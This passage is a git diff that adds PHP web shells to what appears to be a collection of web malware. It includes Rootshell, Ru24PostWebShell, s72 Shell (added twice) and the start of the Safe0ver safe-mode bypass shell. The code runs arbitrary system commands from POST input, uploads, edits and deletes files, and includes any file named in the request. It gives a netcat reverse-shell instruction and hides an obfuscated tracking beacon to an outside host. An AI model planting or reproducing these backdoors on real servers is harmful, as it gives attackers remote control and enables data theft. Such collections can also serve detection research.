<p align="center"> + <textarea readonly size="1" rows="7" cols="53"><?php @$output = system($_POST['command']); ?></textarea><br> + <br> + <font face="Verdana" style="font-size: 8pt"><b>Info:</b> For a connect + back Shell, use: <i>nc -e cmd.exe [SERVER] 3333<br> + </i>after local command: <i>nc -v -l -p 3333 </i>(Windows)</font><br /><br /> <td><p align="center"><br> +<form enctype="multipart/form-data" method="post"> +<p align="center"><br> +<br> +<font face="Verdana" style="font-size: 8pt">Here you can upload some files.</font><br> +<br> +<input type="file" name="file" size="20"><br> +<br> +<font style="font-size: 5pt">&nbsp;</font><br> +<input type="submit" value="Upload File!"> <br> +&nbsp;</p> +</form> +<?php + +function check_file() +{ +global $file_name, $filename; + $backupstring = "copy_of_"; + $filename = $backupstring."$filename"; + + if( file_exists($filename)) + { + check_file(); + } +} + +if(!empty($file)) +{ + $filename = $file_name; + if( file_exists($file_name)) + { + check_file(); + echo "<p align=center>File already exist</p>"; + } + + else + { + copy($file,"$filename"); + if( file_exists($filename)) + { + echo "<p align=center>File uploaded successful</p>"; + } + elseif(! file_exists($filename)) + { + echo "<p align=center>File not found</p>"; + } + } +} +?> +<font face="Verdana" style="font-size: 8pt"> +<p align=\"center\"></font> +</td> + + </tr> + <tr> + <td style="overflow:auto" width="49%" height="25" bgcolor="#FCFEBA"> + <p align="center"><font face="Verdana" size="2">[ Files & Directories ]</font></td> + <td width="51%" height="19" bgcolor="#FCFEBA"> + <p align="center"><font face="Verdana" size="2">[ File Inclusion ]</font></td> + </tr> + <tr> + <td style="overflow:auto" width="49%" height="231"> +<font face="Verdana" style="font-size: 11pt"> + <p align="center"> + <br> +<div align="center" style="overflow:auto; width:99%; height:175"> +<? +$folder=opendir('./'); +while ($file = readdir($folder)) { +if($file != "." && $file != "..") +echo '<a target="blank" href='.$file.'>'.$file.'</a><br>'; +} +closedir($folder); +?> +</div><p align="center">&nbsp;</td> + <td width="51%" height="232"> + <p align="center"><font face="Verdana" style="font-size: 8pt"><br> + Include + something :)<br> + <br> +&nbsp;</font><form method="POST"> + <p align="center"> + <input type="text" name="incl" size="20"><br> + <br> + <input type="submit" value="Include!" name="inc"></p> + </form> + <?php @$output = include($_POST['incl']); ?> + </td> + </tr> + <tr> + <td width="49%" height="25" bgcolor="#FCFEBA"> + <p align="center"><font face="Verdana" size="2">[ File Editor ]</font></td> + <td width="51%" height="19" bgcolor="#FCFEBA"> + <p align="center"><font face="Verdana" size="2">[ Notices ]</font></td> + </tr> + <tr> + <td width="49%" height="231"> +<font face="Verdana" style="font-size: 11pt"> + <p align="center"><? +$scriptname = $_SERVER['SCRIPT_NAME']; +$filename = $_POST["filename"]; + +if($_POST["submit"] == "Open") +{ + if(file_exists($filename)) + { + $filecontents = htmlentities(file_get_contents($filename)); + + if(!$filecontents) + $status = "<font face='Verdana' style='font-size: 8pt'>Error or No contents in file</font>"; + } + else + $status = "<font face='Verdana' style='font-size: 8pt'>File does not exist!</font>"; +} +else if($_POST["submit"] == "Delete") +{ + if(file_exists($filename)) + { + if(unlink($filename)) + $status = "<font face='Verdana' style='font-size: 8pt'>File successfully deleted!</font>"; + else + $status = "<font face='Verdana' style='font-size: 8pt'>Could not delete file!</font>"; + } + else + $status = "<font face='Verdana' style='font-size: 8pt'>File does not exist!</font>"; +} +else if($_POST["submit"] == "Save") +{ + $filecontents = stripslashes(html_entity_decode($_POST["contents"])); + + if(file_exists($filename)) + unlink($filename); + + $handle = fopen($filename, "w"); + + if(!$handle) + $status = "<font face='Verdana' style='font-size: 8pt'>Could not open file for write access! </font>"; + else + { + if(!fwrite($handle, $filecontents)) + $status = $status."<font face='Verdana' style='font-size: 8pt'>Could not write to file! (Maybe you didn't enter any text?)</font>"; + + fclose($handle); + } + + $filecontents = htmlentities($filecontents); +} +else +{ + $status = "<font face='Verdana' style='font-size: 8pt'>No file loaded!</font>"; +} +?> +<table border="0" align="center"> + + <tr> + <td> + <table width="100%" border="0"> + <tr> + <td> + <form method="post" action="<?echo $scriptname;?>"> + <input name="filename" type="text" value="<?echo $filename;?>" size="20"> + <input type="submit" name="submit" value="Open"> + <input type="submit" name="submit" value="Delete"> + </td> + </tr> + </table> + </td> + </tr> + + <tr> + <td> + <font face="Verdana" style="font-size: 11pt"> + <textarea name="contents" cols="53" rows="8"><?echo $filecontents;?></textarea></font><br> + <input type="submit" name="submit" value="Save"> + <input type="reset" value="Reset"> + </form> + </td> + </tr> + + <tr> + <td> + <h2><?echo $status;?></h2> + </td> + </tr> + </table> </td> + <td width="51%" height="232"> + <p align="center"><font face="Verdana" style="font-size: 8pt"><br> +<textarea rows="13" cols="55"></textarea><br> + &nbsp;</font><?php @$output = include($_POST['incl']); ?></td> + </tr> + </table> + </center> +</div> +<br /></p> +<div align="center"> + <center> + <table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber2"> + <tr> + <td width="100%" bgcolor="#FCFEBA" height="20"> + <p align="center"><font face="Verdana" size="2">Rootshell v<?php echo "$version" ?> � 2006 by <a style="text-decoration: none" target="_blank" href="http://www.SR-Crew.de.tt">SR-Crew</a> </font></td> + </tr> + </table> + </center> +</div> +<script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script> diff --git a/web-malware-collection-master/Backdoors/PHP/ru24_post_sh.txt b/web-malware-collection-master/Backdoors/PHP/ru24_post_sh.txt new file mode 100755 index 0000000..5600c64 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/ru24_post_sh.txt @@ -0,0 +1,23 @@ +<?php +/* +Ru24PostWebShell +Writed by DreAmeRz + +http://www.ru24-team.net +*/ +error_reporting(0); +$function=passthru; // system, exec, cmd +echo "<html> +<head> +<title>Ru24PostWebShell - ".$_POST['cmd']."</title> +<meta http-equiv='pragma' content='no-cache'> +</head><body>"; +echo "<form method=post>"; +echo "<input type=text name=cmd size=85>"; +echo "</form>"; +echo "<pre>"; +if ((!$_POST['cmd']) || ($_POST['cmd']=="")) { $_POST['cmd']="id;pwd;uname -a;ls -la"; } +echo "".$function($_POST['cmd'])."</pre></body></html>"; + + +?> diff --git a/web-malware-collection-master/Backdoors/PHP/s72 Shell v1.1 Coding.php b/web-malware-collection-master/Backdoors/PHP/s72 Shell v1.1 Coding.php new file mode 100755 index 0000000..fdcc41a --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/s72 Shell v1.1 Coding.php @@ -0,0 +1,141 @@ +<html> + +<head> +<meta http-equiv="Content-Language" content="tr"> +<meta name="GENERATOR" content="Microsoft FrontPage 5.0"> +<meta name="ProgId" content="FrontPage.Editor.Document"> +<meta http-equiv="Content-Type" content="text/html; charset=windows-1254"> +<title>s72 Shell v1.0 Codinf by Cr@zy_King</title> +<meta name="Microsoft Theme" content="refined 011"> +</head> + +<body background="refbgd2.gif" bgcolor="#000000" text="#FFFFFF" link="#666699" vlink="#999999" alink="#999900"> + +<!--mstheme--><font face="Times New Roman"> + +<p><font face="Comic Sans MS" color="#FF0000"><b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </b>s72 Shell v1.1 Coding by <a href="mailto:crazy_king@turkusev.net"> +<font color="#00FF00">Cr@zy_King&nbsp; </font> +</a> </font></p> + + <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; + <font color="#FF0000"><b><font face="Comic Sans MS" size="1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [ + Server Bilgileri ]</td> + </tr> + <tr> + <td width="49%" height="142"> + </font></b></font> +</p> + <p align="center"> + <font color="#800080"><b><font face="Verdana" style="font-size: 8pt"> + Dizin</font></b></font><font face="Verdana" style="font-size: 8pt"><font color="#800080"><b>:</b> <? echo $_SERVER['DOCUMENT_ROOT']; ?> + <br /> + <b>Shell Dizini:</b> <? echo $SCRIPT_FILENAME ?> + <br> + &nbsp;</font></font><p align="center"><form method="post"> +<p align="center"> +<font color="#800080"> +<br> +</font><font face="Verdana" style="font-size: 8pt" color="#800080">Buraya +Kodunuzu Yaz�n :)</font><font color="#111111"><br> +<br> +</font> +<font color="#FF0000"> +<textarea size="70" name="command" rows="2" cols="43" ></textarea> <br> +<br><input type="submit" value="�al��t�r!"></font><font color="#FF0000"><br> +&nbsp;<br></font></p> + </form> + <p align="center"> + <font color="#FF0000"> + <textarea readonly size="1" rows="7" cols="53"><?php @$output = system($_POST['command']); ?></textarea></font><p align="center"> + &nbsp;<p align="center"> + <font color="#FF0000"> + <td width="49%" height="24" bgcolor="#FCFEBA"> + </font> + <p align="center"><font color="#FF0000"><b> + <font face="Comic Sans MS" size="1">[ Diziler -_- Dizinler ]</td> + <td width="51%" height="24" bgcolor="#FCFEBA"> + </font></b></font> + <form method="post"> +<p align="center"> +<font face="Verdana" style="font-size: 11pt"> +<? +$folder=opendir('./'); +while ($file = readdir($folder)) { +if($file != "." && $file != "..") +echo '<a target="_blank" href="'.$file.'">'.$file.'</a ><br>'; +} +closedir($folder); +?></p> + </form> + <p align="center"> + <br> + <b><font face="Comic Sans MS" size="1" color="#FF0000">[ Upload ]</font></b></font><font face="Comic Sans MS" size="1"><b><font color="#FF0000"></td></font></b></font><form enctype="multipart/form-data" method="post"> +<p align="center"><br> +<br> +<font face="Verdana" style="font-size: 8pt" color="#800080">Buradan Dosya Upload Edebilirsiniz.</font><br> +<br> +<input type="file" name="file" size="20"><br> +<br> +<font style="font-size: 5pt">&nbsp;</font><br> +<input type="submit" value="Y�kle!"> <br> +&nbsp;</p> +</form> +<?php + +function check_file() +{ +global $file_name, $filename; + $backupstring = "copy_of_"; + $filename = $backupstring."$filename"; + + if( file_exists($filename)) + { + check_file(); + } +} + +if(!empty($file)) +{ + $filename = $file_name; + if( file_exists($file_name)) + { + check_file(); + echo "<p align=center>Dosya Zaten Bulunuyor</p>"; + } + + else + { + copy($file,"$filename"); + if( file_exists($filename)) + { + echo "<p align=center>Dosya Ba�ar�l� Bir �ekilde Y�klendi</p>"; + } + elseif(! file_exists($filename)) + { + echo "<p align=center>Dosya Bulunamad�</p>"; + } + } +} +?> +<font face="Verdana" style="font-size: 8pt"> +<p align=\"center\"></font> +</td> + <font color="#111111"> + <br> + <br> + <br /><br /> </font> + <?php +// Check for Safe Mode +if( ini_get('safe_mode') ) { + print '<font color=#FF0000><b>G�venlik A��k</b></font>'; +} else { + print '<font color=#008000><b>G�venlik Kapal�</b></font>'; +} + +?> + + <!--mstheme--></font> + + </body> + +</html> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/s72 Shell v1.1 Coding.txt b/web-malware-collection-master/Backdoors/PHP/s72 Shell v1.1 Coding.txt new file mode 100755 index 0000000..fdcc41a --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/s72 Shell v1.1 Coding.txt @@ -0,0 +1,141 @@ +<html> + +<head> +<meta http-equiv="Content-Language" content="tr"> +<meta name="GENERATOR" content="Microsoft FrontPage 5.0"> +<meta name="ProgId" content="FrontPage.Editor.Document"> +<meta http-equiv="Content-Type" content="text/html; charset=windows-1254"> +<title>s72 Shell v1.0 Codinf by Cr@zy_King</title> +<meta name="Microsoft Theme" content="refined 011"> +</head> + +<body background="refbgd2.gif" bgcolor="#000000" text="#FFFFFF" link="#666699" vlink="#999999" alink="#999900"> + +<!--mstheme--><font face="Times New Roman"> + +<p><font face="Comic Sans MS" color="#FF0000"><b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </b>s72 Shell v1.1 Coding by <a href="mailto:crazy_king@turkusev.net"> +<font color="#00FF00">Cr@zy_King&nbsp; </font> +</a> </font></p> + + <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; + <font color="#FF0000"><b><font face="Comic Sans MS" size="1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [ + Server Bilgileri ]</td> + </tr> + <tr> + <td width="49%" height="142"> + </font></b></font> +</p> + <p align="center"> + <font color="#800080"><b><font face="Verdana" style="font-size: 8pt"> + Dizin</font></b></font><font face="Verdana" style="font-size: 8pt"><font color="#800080"><b>:</b> <? echo $_SERVER['DOCUMENT_ROOT']; ?> + <br /> + <b>Shell Dizini:</b> <? echo $SCRIPT_FILENAME ?> + <br> + &nbsp;</font></font><p align="center"><form method="post"> +<p align="center"> +<font color="#800080"> +<br> +</font><font face="Verdana" style="font-size: 8pt" color="#800080">Buraya +Kodunuzu Yaz�n :)</font><font color="#111111"><br> +<br> +</font> +<font color="#FF0000"> +<textarea size="70" name="command" rows="2" cols="43" ></textarea> <br> +<br><input type="submit" value="�al��t�r!"></font><font color="#FF0000"><br> +&nbsp;<br></font></p> + </form> + <p align="center"> + <font color="#FF0000"> + <textarea readonly size="1" rows="7" cols="53"><?php @$output = system($_POST['command']); ?></textarea></font><p align="center"> + &nbsp;<p align="center"> + <font color="#FF0000"> + <td width="49%" height="24" bgcolor="#FCFEBA"> + </font> + <p align="center"><font color="#FF0000"><b> + <font face="Comic Sans MS" size="1">[ Diziler -_- Dizinler ]</td> + <td width="51%" height="24" bgcolor="#FCFEBA"> + </font></b></font> + <form method="post"> +<p align="center"> +<font face="Verdana" style="font-size: 11pt"> +<? +$folder=opendir('./'); +while ($file = readdir($folder)) { +if($file != "." && $file != "..") +echo '<a target="_blank" href="'.$file.'">'.$file.'</a ><br>'; +} +closedir($folder); +?></p> + </form> + <p align="center"> + <br> + <b><font face="Comic Sans MS" size="1" color="#FF0000">[ Upload ]</font></b></font><font face="Comic Sans MS" size="1"><b><font color="#FF0000"></td></font></b></font><form enctype="multipart/form-data" method="post"> +<p align="center"><br> +<br> +<font face="Verdana" style="font-size: 8pt" color="#800080">Buradan Dosya Upload Edebilirsiniz.</font><br> +<br> +<input type="file" name="file" size="20"><br> +<br> +<font style="font-size: 5pt">&nbsp;</font><br> +<input type="submit" value="Y�kle!"> <br> +&nbsp;</p> +</form> +<?php + +function check_file() +{ +global $file_name, $filename; + $backupstring = "copy_of_"; + $filename = $backupstring."$filename"; + + if( file_exists($filename)) + { + check_file(); + } +} + +if(!empty($file)) +{ + $filename = $file_name; + if( file_exists($file_name)) + { + check_file(); + echo "<p align=center>Dosya Zaten Bulunuyor</p>"; + } + + else + { + copy($file,"$filename"); + if( file_exists($filename)) + { + echo "<p align=center>Dosya Ba�ar�l� Bir �ekilde Y�klendi</p>"; + } + elseif(! file_exists($filename)) + { + echo "<p align=center>Dosya Bulunamad�</p>"; + } + } +} +?> +<font face="Verdana" style="font-size: 8pt"> +<p align=\"center\"></font> +</td> + <font color="#111111"> + <br> + <br> + <br /><br /> </font> + <?php +// Check for Safe Mode +if( ini_get('safe_mode') ) { + print '<font color=#FF0000><b>G�venlik A��k</b></font>'; +} else { + print '<font color=#008000><b>G�venlik Kapal�</b></font>'; +} + +?> + + <!--mstheme--></font> + + </body> + +</html> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/safe0ver.txt b/web-malware-collection-master/Backdoors/PHP/safe0ver.txt new file mode 100755 index 0000000..bd42d32 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/safe0ver.txt @@ -0,0 +1,935 @@ + <?php + + + /* + ***************************************************************************************************************** + * Safe0ver Shell - Safe Mod Bypass By Evilc0der - Edited By KingDefacer * + ***************************************************************************************************************** + + ***************************************************************************************************************** + + !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! + !! Dikkat ! Script Egitim Amacli Yazilmistir.Scripti Kullanarak Yapacaginiz Illegal eylemlerden sorumlu Degiliz. + !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! + */ + + + /*Setting some envirionment variables...*/ + + /* I added this to ensure the script will run correctly... + Please enter the Script's filename in this variable. */ + $SFileName=$PHP_SELF; + + /* uncomment the two following variables if you want to use http + authentication. This will password protect your PHPShell */ + //$http_auth_user = "phpshell"; /* HTTP Authorisation username, uncomment if you want to use this */ + //$http_auth_pass = "phpshell"; /* HTTP Authorisation password, uncomment if you want to use this */ + $c = "/s.html"; //need scripts coder's names + + error_reporting(0); + $PHPVer=phpversion(); + $isGoodver=(intval($PHPVer[0])>=4); + $scriptTitle = "Safe0ver"; + $scriptident = "$scriptTitle By Evilc0der.com"; + + $urlAdd = ""; + $formAdd = ""; + + function walkArray($array){ + while (list($key, $data) = each($array)) + if (is_array($data)) { walkArray($data); } + else { global $$key; $$key = $data; global $urlAdd; $urlAdd .= "$key=".urlencode($data)."&";} + } + + if (isset($_PUT)) walkArray($_PUT); + if (isset($_GET)) walkArray($_GET); + if (isset($_POST)) walkArray($_POST); + + + $pos = strpos($urlAdd, "s=r"); + if (strval($pos) != "") { + $urlAdd= substr($urlAdd, 0, $pos); + } + + $urlAdd .= "&s=r&"; + + if (empty($Pmax)) + $Pmax = 125; /* Identifies the max amount of Directories and files listed on one page */ + if (empty($Pidx)) + $Pidx = 0; + + $dir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $dir ))); + $file = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $file ))); + + $scriptdate = "7 Subat 2007"; + $scriptver = "Bet@ Versiyon"; + $LOCAL_IMAGE_DIR = "img"; + $REMOTE_IMAGE_URL = "img"; + $img = array( + "Edit" => "edit.gif", + "Download" => "download.gif", + "Upload" => "upload.gif", + "Delete" => "delete.gif", + "View" => "view.gif", + "Rename" => "rename.gif", + "Move" => "move.gif", + "Copy" => "copy.gif", + "Execute" => "exec.gif" + ); + + while (list($id, $im)=each($img)) + if (file_exists("$LOCAL_IMAGE_DIR/$im")) + $img[$id] = "<img height=\"16\" width=\"16\" border=\"0\" src=\"$REMOTE_IMAGE_URL/$im\" alt=\"$id\">"; + else + $img[$id] = "[$id]"; + + + + + /* HTTP AUTHENTICATION */ + + if ( ( (isset($http_auth_user) ) && (isset($http_auth_pass)) ) && ( !isset($PHP_AUTH_USER) || $PHP_AUTH_USER != $http_auth_user || $PHP_AUTH_PW != $http_auth_pass) || (($logoff==1) && $noauth=="yes") ) { + setcookie("noauth",""); + Header( "WWW-authenticate: Basic realm=\"$scriptTitle $scriptver\""); + Header( "HTTP/1.0 401 Unauthorized"); + echo "Your username or password is incorrect"; + exit ; + + } + + function buildUrl($display, $url) { + global $urlAdd; + $url = $SFileName . "?$urlAdd$url"; + return "<a href=\"$url\">$display</a>"; + } + + function sp($mp) { + for ( $i = 0; $i < $mp; $i++ ) + $ret .= "&nbsp;"; + return $ret; + } + + function spacetonbsp($instr) { return str_replace(" ", "&nbsp;", $instr); } + + function Mydeldir($Fdir) { + if (is_dir($Fdir)) { + $Fh=@opendir($Fdir); + while ($Fbuf = readdir($Fh)) + if (($Fbuf != ".") && ($Fbuf != "..")) + Mydeldir("$Fdir/$Fbuf"); + @closedir($Fh); + return rmdir($Fdir); + } else { + return unlink($Fdir); + } + } + + + function arrval ($array) { + list($key, $data) = $array; + return $data; + } + + function formatsize($insize) { + $size = $insize; + $add = "B"; + if ($size > 1024) { + $size = intval(intval($size) / 1.024)/1000; + $add = "KB"; + } + if ($size > 1024) { + $size = intval(intval($size) / 1.024)/1000; + $add = "MB"; + } + if ($size > 1024) { + $size = intval(intval($size) / 1.024)/1000; + $add = "GB"; + } + if ($size > 1024) { + $size = intval(intval($size) / 1.024)/1000; + $add = "TB"; + } + return "$size $add"; + } + + if ($cmd != "downl") { + ?> + + <!-- <?php echo $scriptident ?>, <?php echo $scriptver ?>, <?php echo $scriptdate ?> --> +<HTML> + <HEAD> + <STYLE> + <!-- + A{ text-decoration:none; color:navy; font-size: 12px } + body { + font-size: 12px; + font-family: arial, helvetica; + scrollbar-width: 5; + scrollbar-height: 5; + scrollbar-face-color: white; + scrollbar-shadow-color: silver; + scrollbar-highlight-color: white; + scrollbar-3dlight-color:silver; + scrollbar-darkshadow-color: silver; + scrollbar-track-color: white; + scrollbar-arrow-color: black; + background-color: #CCCCCC; + } + Table { font-size: 12px; } + TR{ font-size: 12px; } + TD{ + font-size: 12px; + font-family: arial, helvetical; + BORDER-LEFT: black 0px solid; + BORDER-RIGHT: black 0px solid; + BORDER-TOP: black 0px solid; + BORDER-BOTTOM: black 0px solid; + COLOR: black; + background: #CCCCCC; + } + .border{ BORDER-LEFT: black 1px solid; + BORDER-RIGHT: black 1px solid; + BORDER-TOP: black 1px solid; + BORDER-BOTTOM: black 1px solid; + } + .none { BORDER-LEFT: black 0px solid; + BORDER-RIGHT: black 0px solid; + BORDER-TOP: black 0px solid; + BORDER-BOTTOM: black 0px solid; + } + .inputtext { + background-color: #EFEFEF; + font-family: arial, helvetica; + border: 1px solid #000000; + height: 20; + } + .lighttd { background: #F8F8F8; + } + .darktd { background: #CCCCCC; + } + input { font-family: arial, helvetica; + } + .inputbutton { + background-color: #CCCCCC; + border: 1px solid #000000; + border-width: 1px; + height: 20; + } + .inputtextarea { + background-color: #CCCCCC; + border: 1px solid #000000; + scrollbar-width: 5; + scrollbar-height: 5; + scrollbar-face-color: #EFEFEF; + scrollbar-shadow-color: silver; + scrollbar-highlight-color: #EFEFEF; + scrollbar-3dlight-color:silver; + scrollbar-darkshadow-color: silver; + scrollbar-track-color: #EFEFEF; + scrollbar-arrow-color: black; + } + .top { BORDER-TOP: black 1px solid; } + .textin { BORDER-LEFT: silver 1px solid; + BORDER-RIGHT: silver 1px solid; + BORDER-TOP: silver 1px solid; + BORDER-BOTTOM: silver 1px solid; + width: 99%; font-size: 12px; font-weight: bold; color: Black; + } + .notop { BORDER-TOP: black 0px solid; } + .bottom { BORDER-BOTTOM: black 1px solid; } + .nobottom { BORDER-BOTTOM: black 0px solid; } + .left { BORDER-LEFT: black 1px solid; } + .noleft { BORDER-LEFT: black 0px solid; } + .right { BORDER-RIGHT: black 1px solid; } + .noright { BORDER-RIGHT: black 0px solid; } + .silver{ BACKGROUND: #CCCCCC; } + body,td,th { + color: #660000; + } + a:link { + color: #000000; + text-decoration: none; + } + a:hover { + color: #00FF00; + text-decoration: none; + } + a:active { + color: #666666; + text-decoration: none; + } + a:visited { + text-decoration: none; + } + .style5 { + color: #660000; + font-weight: bold; + } + --> + </STYLE> + <TITLE><?php echo $SFileName ?></TITLE> + <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"></HEAD> + <body topmargin="0" leftmargin="0"> + <div style="position: absolute; background: #CCCCCC; z-order:10000; top:0; left:0; width: 100%; height: 100%;"> + <table nowrap width=100% border="0" cellpadding="0" cellspacing="0"> + <tr> + <td width="100%" class="silver border"><center> + <strong> <font size=3><?php echo $scriptident ?> - <?php echo $scriptver ?> - <?php echo $scriptdate ?></font> </strong> + </center></td> + </tr> + </table> + <table width=100% height="100%" NOWRAP border="0"> + <tr NOWRAP> + <td width="100%" NOWRAP><br> + + <?php + } + + if ( $cmd=="dir" ) { + $h=@opendir($dir); + if ($h == false) { + echo "<br><font color=\"red\">".sp(3)."\n\n\n\n + Klas�r Listelenemiyor!L�tfen Bypass B�l�m�n� Deneyin.<br>".sp(3)."\n + Script Gecisi Tamamlayamadi! + <br><br>".sp(3)."\n + Klas�re Girmek Icin yetkiniz Olduguna emin Olunuz... + <br><br></font>\n\n\n\n"; + } + if (function_exists('realpath')) { + $partdir = realpath($dir); + } + else { + $partdir = $dir; + } + if (strlen($partdir) >= 100) { + $partdir = substr($partdir, -100); + $pos = strpos($partdir, "/"); + if (strval($pos) != "") { + $partdir = "<-- ...".substr($partdir, $pos); + } + $partdir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $partdir ))); + $dir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $dir ))); + $file = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $file ))); + } + ?> + <form name="urlform" action="<?php echo "$SFileName?$urlAdd"; ?>" method="POST"><input type="hidden" name="cmd" value="dir"> + <table NOWRAP width="100%" border="0" cellpadding="0" cellspacing="0"> + <tr> + <td width="100%" class="silver border"> + <center>&nbsp;Safe0ver-Server File Browser...&nbsp;</center> + </td> + </tr> + </table> + <br> + <table width="100%" border="0" cellpadding="0" cellspacing="0"> + <tr> + <td class="border nobottom noright"> + &nbsp;Listeliyor:&nbsp; + </td> + <td width="100%" class="border nobottom noleft"> + <table width="100%" border="0" cellpadding="1" cellspacing="0"> + <tr> + <td NOWRAP width="99%" align="center"><input type="text" name="dir" class="none textin" value="<?php echo $partdir ?>"></td> + <td NOWRAP><center>&nbsp;<a href="javascript: urlform.submit();"><b>GiT<b></a>&nbsp;<center></td> + </tr> + </table> + + </td> + </tr> + </table> + <!-- </form> --> + <table NOWRAP width="100%" border="0" cellpadding="0" cellspacing="0" > + <tr> + <td width="100%" NOWRAP class="silver border"> + &nbsp;Dosya Adi&nbsp; + </td> + <td NOWRAP class="silver border noleft"> + &nbsp;Yapilabilecekler&nbsp;&nbsp; + </td> + <td NOWRAP class="silver border noleft"> + &nbsp;Boyut&nbsp; + </td> + <td width=1 NOWRAP class="silver border noleft"> + &nbsp;Yetkiler&nbsp; + </td> + <td NOWRAP class="silver border noleft"> + &nbsp;Son D�zenleme&nbsp; + </td> + <tr> + <?php + + + /* <!-- This whole heap of junk is the sorting section... */ + + $dirn = array(); + $filen = array(); + $filesizes = 0; + while ($buf = readdir($h)) { + if (is_dir("$dir/$buf")) + $dirn[] = $buf; + else + $filen[] = $buf; + } + $dirno = count($dirn) + 1; + $fileno = count($filen) + 1; + + function mycmp($a, $b){ + if ($a == $b) return 0; + return (strtolower($a) < strtolower($b)) ? -1 : 1; + } + + if (function_exists("usort")) { + usort($dirn, "mycmp"); + usort($filen, "mycmp"); + } + else { + sort ($dirn); + sort ($filen); + } + reset ($dirn); + reset ($filen); + if (function_exists('array_merge')) { + $filelist = array_merge ($dirn, $filen); + } + else { + $filelist = $dirn + $filen; + } + + + if ( count($filelist)-1 > $Pmax ) { + $from = $Pidx * $Pmax; + $to = ($Pidx + 1) * $Pmax-1; + if ($to - count($filelist) - 1 + ($Pmax / 2) > 0 ) + $to = count($filelist) - 1; + if 